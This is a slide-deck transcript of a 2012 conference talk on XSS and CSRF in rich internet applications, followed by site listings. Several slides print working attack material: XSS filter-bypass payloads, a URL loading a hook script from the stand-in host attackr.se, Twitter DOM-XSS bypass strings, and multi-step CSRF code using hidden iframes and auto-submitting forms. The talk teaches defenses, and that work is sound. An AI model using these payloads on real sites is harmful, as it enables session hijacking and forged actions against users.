SlideShare a Scribd company logo
1 of 113
Application Security for
Rich Internet Applications



  @johnwilander at Jfokus Feb 14 2012
          Stockholm, Sweden
Frontend developer at
 Svenska Handelsbanken

 Researcher in application
 security
 Co-leader OWASP Sweden


@johnwilander
johnwilander.com (music)
  johnwilander.se (papers
           etc)
OWASP Top 10
 Top web application
  security risks 2010
1. Injection
2. Cross-Site Scripting (XSS)
3. Broken Authentication and Session
   Management
4. Insecure Direct Object References
5. Cross-Site Request Forgery (CSRF)
6. Security Misconfiguration
7. Insecure Cryptographic Storage
8. Failure to Restrict URL Access
9. Insufficient Transport Layer Protection
10.Unvalidated Redirects and Forwards
”Do I have to care?”
Likelihood of ≥ 1 vulnerability on your site


From: WhiteHat Website Security Statistic Report, Winter 2011
Per extension

                                .asp .aspx .do .jsp .php

      Sites having had ≥ 1
                                74 % 73 % 77 % 80 % 80 %
      serious vulnerability

   Sites currently having ≥ 1
                                57 % 58 % 56 % 59 % 63 %
      serious vulnerability



From: WhiteHat Website Security Statistic Report, Spring 2010
But we’re moving
  towards more
 code client-side
Client-Side, JavaScript
       Vulnerabilities




From: IBM X-Force 2011 Mid-Year Trend and Risk Report
Client-Side, JavaScript
       Vulnerabilities




From: IBM X-Force 2011 Mid-Year Trend and Risk Report
Focus Today


• Part 1: Cross-Site Scripting (XSS)
• Part 2: Cross-Site Request Forgery (CSRF)
Part 1: XSS ...
the hack that keeps on hacking
Cross-Site Scripting
        Theory


           Scripting




                        s-Site
                   C ros
Cross-Site Scripting
           Type 1, reflected



                  Scripting

                 Cross-Site
   Ph
      ish
          ing
Cross-Site Scripting
      Type 2, stored




                            s-S ite
                       C ros
Cross-Site Scripting
      Type 2, stored



         Scripting
Cross-Site Scripting
                             Type 0, DOM-based

          ng
    i pti
 Scr
               Cros
                   s-Sit
                         e




              Ph
                 ish
                     in       g
Cross-Site Scripting
                             Type 0, DOM-based

          ng
    i pti
 Scr
               Cros
       No server roundtrip!
                   s-Sit
                         e


       Also, single-page interfaces
       make injected scripts ”stick”
         Ph
            isin
       in the DOM.
                 g
https://secure.bank.com/
authentication#language=sv&country=SE
https://secure.bank.com/
authentication#language=sv&country=SE
                 Never sent to server

               Be careful when you use
                this data on your page
Would you click this?

https://secure.bank.com/authentication
    #language=<script src="http://
      attackr.se:3000/hook.js"></
          script>&country=SE
Would you click this?

https://secure.bank.com/authentication
#language=%3Cscript%20src%3D%22http%3A
%2F%2Fattackr.se%3A3000%2Fhook.js%22%3E
      %3C%2Fscript%3E&country=SE
Would you click this?


   http://bit.ly/Yg4T32
Filter out <script>?
var ... ,
 stripScriptsRe = /(?:<script.*?>)((n|r|.)*?)(?:</script>)/ig,


/**
 * Strips all script tags
 * @param {Object} value The text from which to strip script tags
 * @return {String} The stripped text
 */
stripScripts : function(v) {
   return !v ? v : String(v).replace(stripScriptsRe, "");
},


       http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts
Filter out <script>?
<img src=1 onerror=alert(1)>

<svg onload="javascript:alert(1)"
 xmlns="http://www.w3.org/2000/svg"></svg>

<body onload=alert('XSS')>

<table background="javascript:alert('XSS')">

¼script¾alert(¢XSS¢)¼/script¾

<video poster=javascript:alert(1)//
”C’mon, such attacks
 don’t really work,
    do they?”

    Yep, demo.
DOM-Based XSS
                 Twitter September 2010



Full story at
http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a;
 }
})(window);
(function(g){
 var a = What does this code do?
          location.href.split("#!")[1];
 if(a) {
   g.location = a;
 }
})(window);
”https://twitter.com/#!/
    johnwilander”.split(”#!”)[1]
    returns
    ”/johnwilander”

(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a;
 }
})(window);
”https://twitter.com/#!/
     johnwilander”.split(”#!”)[1]
     returns
     ”/johnwilander”

(function(g){
      window.location =
 var a = location.href.split("#!")[1];
               ”/johnwilander”
 if(a) { ’/’ => keeps the domain but changes
      initial
   g.location = a;
      the path
 }
})(window);
”https://twitter.com/#!/
     johnwilander”.split(”#!”)[1]
     returns
     ”/johnwilander”

(function(g){
      window.location =
 var a = location.href.split("#!")[1];
               ”/johnwilander”
 if(a) { ’/’ => keeps the domain but changes
      initial
   g.location = a;
      the path
 }
      So
})(window);
     twitter.com/#!/johnwilander
     becomes
     twitter.com/johnwilander

                   Read more: http://kotowicz.net/absolute/
http://twitter.com/
#!javascript:alert(document.domain);
http://twitter.com/
#!javascript:alert(document.domain);
          Never sent to server
          => DOM-based XSS
The Patch™
var c = location.href.split("#!")[1];
if (c) {
  window.location = c.replace(":", "");
} else {
  return true;
}
The Patch™
var c = location.href.split("#!")[1];
if (c) {
  window.location = c.replace(":", "");
} else {
  return true;
}
              Replaces the first occurance
                  of the search string
http://twitter.com/
#!javascript::alert(document.domain);
http://twitter.com/
#!javascript::alert(document.domain);
The 2nd Patch™
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a.replace(/:/gi,"");
 }
})(window);
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a.replace(/:/gi,"");
 }
})(window);    Regexp pattern
                 delimiters
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a.replace(/:/gi,"");
 }
})(window);    Regexp pattern
                 delimiters
                   Global match
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a.replace(/:/gi,"");
 }
})(window);    Regexp pattern
                 delimiters
                   Global match Ignore case
Were they done now?
http://twitter.com
#!javascript&x58;alert(1)
http://twitter.com
#!javascript&x58;alert(1)


     HTML entity version of ’:’
The n:th Patch™
                             (this one works)

(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location.pathname = a;
 }
})(window);




    And hey, Twitter is doing the right thing: https://twitter.com/about/security
Fix these issues properly with ...
Client-Side Encoding
https://github.com/chrisisbeef/jquery-encoder
• $.encoder.canonicalize()
 Throws Error for double encoding or multiple encoding
 types, otherwise transforms %3CB%3E to <b>
• $.encoder.encodeForCSS()
 Encodes for safe usage in style attribute and style()
• $.encoder.encodeForHTML()
 Encodes for safe usage in innerHTML and html()
• $.encoder.encodeForHTMLAttribute()
 Encodes for safe usage in HTML attributes
• $.encoder.encodeForJavaScript()
 Encodes for safe usage in event handlers etc
• $.encoder.encodeForURL()
 Encodes for safe usage in href etc
https://github.com/chrisisbeef/jquery-encoder
• $.encoder.canonicalize()
 Throws Error for double encoding or multiple encoding
 types, otherwise transforms %3CB%3E to <b>
• $.encoder.encodeForCSS()
 Encodes for safe usage in style attribute and style()
• $.encoder.encodeForHTML()
 Encodes for safe usage in innerHTML and html()
• $.encoder.encodeForHTMLAttribute()
 Encodes for safe usage in HTML attributes
• $.encoder.encodeForJavaScript()
 Encodes for safe usage in event handlers etc
• $.encoder.encodeForURL()
 Encodes for safe usage in href etc
Let’s do a short demo
        of that
Also, check out ...

Content Security Policy
http://people.mozilla.com/~bsterne/
     content-security-policy/
New HTTP Response
        Header Saying ...

Only allow scripts from whitelisted domains
and
only allow scripts from files, i.e. no inline scripts
'self' = same URL, protocol and port


X-Content-Security-Policy: default-src 'self'
Accept all content including scripts only from my own URL+port

X-Content-Security-Policy: default-src *;
script-src trustedscripts.foo.com
Accept media only from my URL+port (images, stylesheets,
fonts, ...) and scripts only from trustedscripts.foo.com
Part2: CSRF
    against RESTful services
and in several, semi-blind steps
Cross-Site Request
     Forgery
        Request Fo
                   rgery



 Cro
     ss-
        Sit
            e
Cross-Site Request
     Forgery
             Request Forgery
         Cros
             s-Si
                  te
  Ph
    ish
       ing
What’s on your mind?          What’s on your mind?
                       POST                          POST
What’s on your mind?          What’s on your mind?
I love OWASP!          POST                          POST
What’s on your mind?          What’s on your mind?
I love OWASP!          POST                          POST

John: I love OWASP!
What’s on your mind?          What’s on your mind?
                       POST                          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST

John: I hate OWASP!
What’s on your mind?             What’s on your mind?
                       POST   <form id="target" method="POST"
                               action="https://1-liner.org/form">
John: I hate OWASP!             <input type="text" value="I hate
                                 OWASP!" name="oneLiner"/>
                                <input type="submit"
                                 value="POST"/>
                              </form>

                              <script type="text/javascript">
                                $(document).ready(function() {
                                    $('#form').submit();
                                });
                              </script>
<form id="target" method="POST"
           action="https://1-liner.org/form">
            <input type="text" value="I hate
              OWASP!" name="oneLiner"/>
            <input type="submit"
What’s on your mind?         What’s on your mind?
              value="POST"/>
                     POST
         </form>
John: I hate OWASP!

           <script>
             $(document).ready(function() {
                 $('#target').submit();
             });
           </script>
Multi-Step,
Semi-Blind
  CSRF
What about ”several steps”?




Step 1       Step 2      Step 3
Step 1                Step 2               Step 3




State built up i steps, server roundtrip in-between
Step 1   Step 2         Step 3



                                 st
                              ue ll
                          r eq wi
                        ed tep ous
                    rg t s
                   o s
                  F a          re vi
                      l      p
                   to the
                   m iss
Can we forge timed GETs and
POSTs
in a deterministic, non-blind
way?


 Step 1         Step 2     Step 3




            1    2   3 4
csrfMultiDriver.html

  invisible
  iframe

  csrfMulti0.html
csrfMultiDriver.html

  invisible          invisible
  iframe             iframe

   target0.html     csrfMulti1.html




                  Wait
csrfMultiDriver.html

  invisible       invisible          invisible
  iframe          iframe             iframe

   target0.html    target1.html     csrfMulti2.html




                                  Wait
csrfMultiDriver.html

  invisible       invisible       invisible          invisible
  iframe          iframe          iframe             iframe

   target0.html    target1.html    target2.html     csrfMulti3.html




                                                  Wait
csrfMultiDriver.html

  invisible       invisible       invisible       invisible
  iframe          iframe          iframe          iframe

   target0.html    target1.html    target2.html    target3.html
<!DOCTYPE html>
<html>
<head>
    <script>
        var IFRAME_ID = "0", GET_SRC =
          "http://www.vulnerable.com/some.html?param=1";
    </script>
    <script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>




                                              csrfMulti0.ht
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
    var imgElement;
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_GETTER.haveGotten) {
        imgElement = document.createElement("img");
        imgElement.setAttribute("src", GET_SRC);
        imgElement.setAttribute("height", "0");
        imgElement.setAttribute("width", "0");
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    }
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
    var imgElement;
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_GETTER.haveGotten) {
            The wait for a GET CSRF is over
        imgElement = document.createElement("img");
        imgElement.setAttribute("src", GET_SRC);
                    when onerror fires
        imgElement.setAttribute("height", "0");
        imgElement.setAttribute("width", "0");
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    }
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
<!DOCTYPE html>
<html>
<head>
    <script>
        var IFRAME_ID = "1";
    </script>
    <script src="../iframePoster.js"></script>
</head>
<body onload="IFRAME_POSTER.onLoad()">

<form id="target" method="POST"
 action="https://www.vulnerable.com/addBasket.html"
 style="visibility:hidden">
    <input type="text" name="goodsId"
           value="95a0b76bde6b1c76e05e28595fdf5813" />
    <input type="text" name="numberOfItems" value="1" />
    <input type="text" name="country" value="SWE" />
    <input type="text" name="proceed" value="To checkout" />
</form>

</body>
</html>
                                                 csrfMulti1.ht
var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() {
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_POSTER.havePosted) {
        document.forms['target'].submit();
        IFRAME_POSTER.havePosted = true;
    }
};

IFRAME_POSTER.onLoad = function() {
    setInterval(IFRAME_POSTER.reportAndPost, 1000);
};


                                              iframePoster
var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() {
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_POSTER.havePosted) {
        document.forms['target'].submit(); is over
           The wait for a POST CSRF
        IFRAME_POSTER.havePosted = true;
    }   when parent stops getting messages
};

IFRAME_POSTER.onLoad = function() {
    setInterval(IFRAME_POSTER.reportAndPost, 1000);
};


                                              iframePoster
var CSRF = function(){
  var hideIFrames = true,
      frames = [
    {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti0.html'}
   ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti1.html'}
                ],
      appendIFrame =
        function(frame) {
           var domNode = '<iframe src="' + frame.src +
                         '" height="600" width="400"' +
                         (hideIFrames ? 'style="visibility: hidden"' : '') +
                         '></iframe>';
           $("body").append(domNode);
        };
…




                                                 csrfMultiDriver.ht
return {
  checkIFrames : function() {
     var frame;
     for (var i = 0; i < frames.length; i++) {
       frame = frames[i];
       if (!frame.hasOpenedIFrame) {
         appendIFrame(frame);
         frame.hasOpenedIFrame = true;
         break; // Only open one iframe at the time
       } else if(frame.hasPosted == "no") {
         frame.hasPosted = "maybe";
         break; // iframe not done posting, wait
       } else if(frame.hasPosted == "maybe") {
         frame.hasPosted = "yes";
         break; // iframe not done posting, wait
       } else if (frame.hasPosted == "yes") {
         continue; // Time to allow for the next iframe to open
       }
     }
  },

  receiveMessage : function(event) {
    if (event.origin == "https://attackr.se:8444") {
      CSRF.frames[parseInt(event.data)].hasPosted = "no";
      // Still on CSRF page so POST not done yet
    }
  }                                              csrfMultiDriver.ht
Demo Multi-Step,
Semi-Blind CSRF
  against amazon.com
 which has protection
     against CSRF.
The intention is to show
 how you can test your
       own sites.
There used to be a
protection in web
       1.5
Forced Browsing
                   wizard-style



Shipment info ✉                   Payment info $




                  Next                             Buy!
Forced Browsing
                   wizard-style



Shipment info ✉                   Payment info $




                         Token


                  Next                             Buy!
Forced Browsing
                   wizard-style



Shipment info ✉                    Payment info $




                         Re-Auth


                  Next                              Buy!
Forced Browsing
          wizard-style




Token 1     Token 2      Token 3
Forced Browsing
                  wizard-style




Token 1               Token 2               Token 3




State built up i steps, server roundtrip in-between
Forced Browsing
          wizard-style




Token 1     Token 2         Token 3



                                 fo rge
                            n’t to
                        uld est
                      Co qu
                        re t step
                           las out a
                            w tith oken
                             va  lid
But in RIAs ...
RIA & client-side
      state
   {
   ”purchase”: {}
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{}]
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}]
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}],
     ”shipment”: {}
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}],
     ”shipment”: {},
     ”payment”: {}
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}],
     ”shipment”: {},
     ”payment”: {}
     }
   }
Can an attacker
forge such a JSON
    structure?
CSRF possible?
     {
     ”purchase”: {
       ”items”: [{},{}],
       ”shipment”: {},
       ”payment”: {}
       }
     }
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners">



 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden">


 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
          8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">
                Forms produce a request body that
                looks like this:
 <input type="text"
  name=””
                theName=theValue
  value="" />
                 ... and that’s not valid JSON.


 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

 <input type="text"
  name='{"id": 0, "nickName": "John",
         "oneLiner": "I hate OWASP!",
         "timestamp": "20111006"}//'
  value="dummy" />

 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden" body that looks
              Produces a request
              like this:
 enctype="text/plain">

 <input type="text" 0, "nickName":
               {"id":
  name='{"id": "John","oneLiner": "I
                  0, "nickName": "John",
               hate OWASP!","timestamp":
         "oneLiner": "I hate OWASP!",
               "20111006"}//=dummy
         "timestamp": "20111006"}//'
  value="dummy" />
               ... and that is acceptable JSON!
 <input type="submit" value="Go" />

</form>
Demo CSRF POST
              then

Demo CSRF + XSS

The Browser Exploitation Framework
      http://beefproject.com/
Important in your REST
         API
 • Restrict do CSRF with GETe.g. POST
   Easier to
             HTTP method,


 • Restrict to AJAX if applicable
   X-Requested-With:XMLHttpRequest
   Cross-domain AJAX prohibited by default

 • Restrict media type(s), e.g.
   application/json
   HTML forms only allow URL encoded, multi-
   part and text/plain
Double Submit
  (CSRF Protection)
Double Submit
  (CSRF protection)

     Anti-CSRF value
     as cookie ...

     ... and
     request parameter
Double Submit
  (CSRF protection)




                     cookie ≠
                     request parameter


   Cannot read the
   anti-CSRF cookie to
   include it as parameter
Double Submit
             (CSRF protection)




Anti-CSRF cookie can
be generated client-side
=> no server-side state
Thanks!
@johnwilander

More Related Content

Viewers also liked

Software Security Engineering
Software Security EngineeringSoftware Security Engineering
Software Security Engineering
Marco Morana
 
Software testing methods, levels and types
Software testing methods, levels and typesSoftware testing methods, levels and types
Software testing methods, levels and types
Confiz
 
Software testing basic concepts
Software testing basic conceptsSoftware testing basic concepts
Software testing basic concepts
Hưng Hoàng
 
Software Testing Fundamentals
Software Testing FundamentalsSoftware Testing Fundamentals
Software Testing Fundamentals
Chankey Pathak
 

Viewers also liked (10)

Government of India Gazette Notification - The Information Technology (Preser...
Government of India Gazette Notification - The Information Technology (Preser...Government of India Gazette Notification - The Information Technology (Preser...
Government of India Gazette Notification - The Information Technology (Preser...
 
Policy on Adoption of Open Source Software for Government of India
Policy on Adoption of Open Source Software for Government of IndiaPolicy on Adoption of Open Source Software for Government of India
Policy on Adoption of Open Source Software for Government of India
 
Software Security Engineering
Software Security EngineeringSoftware Security Engineering
Software Security Engineering
 
Software testing methods, levels and types
Software testing methods, levels and typesSoftware testing methods, levels and types
Software testing methods, levels and types
 
An introduction to open data
An introduction to open dataAn introduction to open data
An introduction to open data
 
Software Testing Basics
Software Testing BasicsSoftware Testing Basics
Software Testing Basics
 
Introduction to Agile software testing
Introduction to Agile software testingIntroduction to Agile software testing
Introduction to Agile software testing
 
Web Security
Web SecurityWeb Security
Web Security
 
Software testing basic concepts
Software testing basic conceptsSoftware testing basic concepts
Software testing basic concepts
 
Software Testing Fundamentals
Software Testing FundamentalsSoftware Testing Fundamentals
Software Testing Fundamentals
 

Similar to Application Security for Rich Internet Applicationss (Jfokus 2012)

주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법
guestad13b55
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
Frank Kim
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
amiable_indian
 

Similar to Application Security for Rich Internet Applicationss (Jfokus 2012) (20)

04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Javascript Security
Javascript SecurityJavascript Security
Javascript Security
 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
 
OWASP SF - Reviewing Modern JavaScript Applications
OWASP SF - Reviewing Modern JavaScript ApplicationsOWASP SF - Reviewing Modern JavaScript Applications
OWASP SF - Reviewing Modern JavaScript Applications
 
[Poland] It's only about frontend
[Poland] It's only about frontend[Poland] It's only about frontend
[Poland] It's only about frontend
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 
API SECURITY
API SECURITYAPI SECURITY
API SECURITY
 
Transforming WebSockets
Transforming WebSocketsTransforming WebSockets
Transforming WebSockets
 
Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010
 
Null 14 may_lesser_known_attacks_by_ninadsarang
Null 14 may_lesser_known_attacks_by_ninadsarangNull 14 may_lesser_known_attacks_by_ninadsarang
Null 14 may_lesser_known_attacks_by_ninadsarang
 
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad SarangNull Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xss
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101
 
Toster - Understanding the Rails Web Model and Scalability Options
Toster - Understanding the Rails Web Model and Scalability OptionsToster - Understanding the Rails Web Model and Scalability Options
Toster - Understanding the Rails Web Model and Scalability Options
 

More from johnwilander

Stateless Anti-Csrf
Stateless Anti-CsrfStateless Anti-Csrf
Stateless Anti-Csrf
johnwilander
 
Advanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRFAdvanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRF
johnwilander
 

More from johnwilander (9)

JavaScript Beyond jQuery (Jfokus 2013)
JavaScript Beyond jQuery (Jfokus 2013)JavaScript Beyond jQuery (Jfokus 2013)
JavaScript Beyond jQuery (Jfokus 2013)
 
Tre sårbarheter i webbappar
Tre sårbarheter i webbapparTre sårbarheter i webbappar
Tre sårbarheter i webbappar
 
Web Integration Patterns in the Era of HTML5
Web Integration Patterns in the Era of HTML5Web Integration Patterns in the Era of HTML5
Web Integration Patterns in the Era of HTML5
 
Hotlinking is Too Hot for Comfort
Hotlinking is Too Hot for ComfortHotlinking is Too Hot for Comfort
Hotlinking is Too Hot for Comfort
 
Stateless Anti-Csrf
Stateless Anti-CsrfStateless Anti-Csrf
Stateless Anti-Csrf
 
Advanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRFAdvanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRF
 
JavaScript för Javautvecklare
JavaScript för JavautvecklareJavaScript för Javautvecklare
JavaScript för Javautvecklare
 
Application Security, in Six Parts (HackPra 2012)
Application Security, in Six Parts (HackPra 2012)Application Security, in Six Parts (HackPra 2012)
Application Security, in Six Parts (HackPra 2012)
 
RIPE: Runtime Intrusion Prevention Evaluator
RIPE: Runtime Intrusion Prevention EvaluatorRIPE: Runtime Intrusion Prevention Evaluator
RIPE: Runtime Intrusion Prevention Evaluator
 

Recently uploaded

IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
Enterprise Knowledge
 

Recently uploaded (20)

2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Tech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfTech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdf
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 

Application Security for Rich Internet Applicationss (Jfokus 2012)

  • 1. Application Security for Rich Internet Applications @johnwilander at Jfokus Feb 14 2012 Stockholm, Sweden
  • 2. Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden @johnwilander johnwilander.com (music) johnwilander.se (papers etc)
